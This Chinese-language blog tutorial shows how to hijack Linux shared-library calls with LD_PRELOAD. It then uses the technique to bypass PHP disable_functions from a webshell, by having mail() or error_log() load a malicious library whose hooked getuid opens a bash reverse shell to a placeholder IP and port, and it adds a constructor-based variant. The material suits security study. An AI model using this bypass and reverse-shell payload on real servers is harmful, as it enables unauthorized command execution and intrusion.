劫持LD_PRELOAD

0x00 前言

LD_PRELOAD是Linux系统中的一个环境变量,作用是在程序在运行链接之前优先加载LD_PRELOAD中的链接库,因此通过指定LD_PRELOAD变量我们可以实现二进制程序的链接库劫持,覆盖重写原来的系统调用。

0x01 劫持系统命令

1
2
3
4
export LD_PRELOAD=<path_to_so>   #设置
#或者可以执行时指定,好处是仅作用于本次命令
#LD_PRELOAD=$PWD/hook_ls.so ls
unset LD_PRELOAD #解除

以ls命令为例使用readelf -Ws /usr/bin/ls查看ls命令调用的库函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Num:    Value          Size Type    Bind   Vis      Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND cap_to_text
4: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __progname@GLIBC_2.2.5 (3)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigprocmask@GLIBC_2.2.5 (3)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __snprintf_chk@GLIBC_2.3.4 (4)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND raise@GLIBC_2.2.5 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (3)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (3)
12: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTable
13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.2.5 (3)
. . . . . . .

选择strncmp进行劫持,重新定义strncmp的函数体,注意参数列表必须保持不变,记得unsetenv。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//hook_ls.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("echo Hijacked!");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

然后编译并设置环境变量

1
2
gcc -shared -fPIC hook_ls.c -o hook_ls.so
export LD_PRELOAD=$PWD/hook_ls.so

最后执行ls

1
2
3
4
[spring@VM codes]$ export LD_PRELOAD=$PWD/hook_ls.so
[spring@VM codes]$ ls
Hijacked!
hook_ls.c hook_ls.so

0x02 绕过 Disable_Functions

在拿到php环境下的webshell时常常遇到Disable_Functions禁用系统命令执行的情况,使用LD_PRELOAD也可以实现bypass。

根据上述LD_PRELOAD劫持的特点,欲将其用于bypass Disable_Functions需要满足以下几个条件:

  • 由于LD_PRELOAD是在程序链接之前起作用,因此我们无法在现有php进程中实现劫持,必须要寻找能够创建新进程的函数
  • 环境变量需要可控,例如可以使用putenv()函数。

mail()

mail()函数是php内置用于发送邮件的函数,在底层是调用Linux中的sendmail函数。

1
2
3
4
//mail.php
<?php
mail("a@localhost","","","","");
?>

执行并使用strace跟踪系统调用

1
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[spring@VM codes]$ strace -f php mail.php 2>&1 | grep -A2 -B2 execve
execve("/usr/local/lighthouse/softwares/php/bin/php", ["php", "mail.php"], 0x7ffefe042d70 /* 30 vars */) = 0
brk(NULL) = 0x1e22000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd432847b0) = -1 EINVAL (无效的参数)
--
[pid 2432766] fcntl(4, F_SETFD, 0) = 0
[pid 2432767] dup2(3, 0) = 0
[pid 2432767] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], 0x1e22d90 /* 30 vars */ <unfinished ...>
[pid 2432766] fstat(4, <unfinished ...>
[pid 2432767] <... execve resumed>) = 0
[pid 2432766] <... fstat resumed>{st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[pid 2432767] brk(NULL) = 0x55a7a0633000
--
[pid 2432767] rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f5dd9a87790}, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f5dd9a87790}, 8) = 0
[pid 2432767] rt_sigaction(SIGCHLD, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f5dd9a87790}, {sa_handler=0x55a79e54a180, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f5dd9a87790}, 8) = 0
[pid 2432767] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x55a7a0641c30 /* 30 vars */) = -1 ENOENT (没有那个文件或目录)
[pid 2432767] stat("/usr/sbin/sendmail", 0x7ffc517fd470) = -1 ENOENT
[pid 2432767] stat("/usr/sbin/sendmail", 0x7ffc517fd450) = -1 ENOENT

明显是调用了/usr/sbin/sendmail,同时execve启用了新进程,因此劫持sendmail()即可劫持mail()。

下一步查看sendmail()的库函数

1
readelf -Ws /usr/sbin/sendmail

(我的vps里没有sendmail拓展,不过问题不大后续可以解决这个问题)

挑选getuid函数进行劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("bash -c 'bash -i >& /dev/tcp/<IP>/<port> 0>&1'");
}

uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
//最后编译生成 gcc -shared -fPIC hook_getuid.c -o hook_getuid.so

然后在脚本中设置环境变量:

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限
mail("test@localhost","","","","");
?>

执行即可实现劫持。

error_log()

error_log()和mail()一样也会调用sendmail,劫持的过程没有差别不再赘述

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限
error_log("", 1, "", "");
?>

能创建新进程的函数含有很多,有时候要根据主机所安装的拓展因地制宜。

0x03 __attribute__((constructor))

上面提到在我的vps中没有sendmail拓展,因此事实上我们无法实现劫持,因此我们需要一个通用的解决方案,那就是C语言的一个拓展修饰符__attribute__((constructor)),由它所修饰的函数将在程序main()函数之前执行,如果它存在于动态链接库中,那么它将会在动态链接库被系统加载之前执行。这样就可以实现对于链接的劫持,而不是局限于特定的系统调用。

1
2
3
4
5
6
7
8
9
10
//同样去劫持ls
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("echo Hijacked!");
}
//编译执行 gcc -shared -fPIC hook_ls.c -o hook_ls.so

reference

https://www.anquanke.com/post/id/254388


劫持LD_PRELOAD
http://example.com/2023/01/12/劫持LD_PRELOAD/
Author
springtime
Posted on
January 12, 2023
Licensed under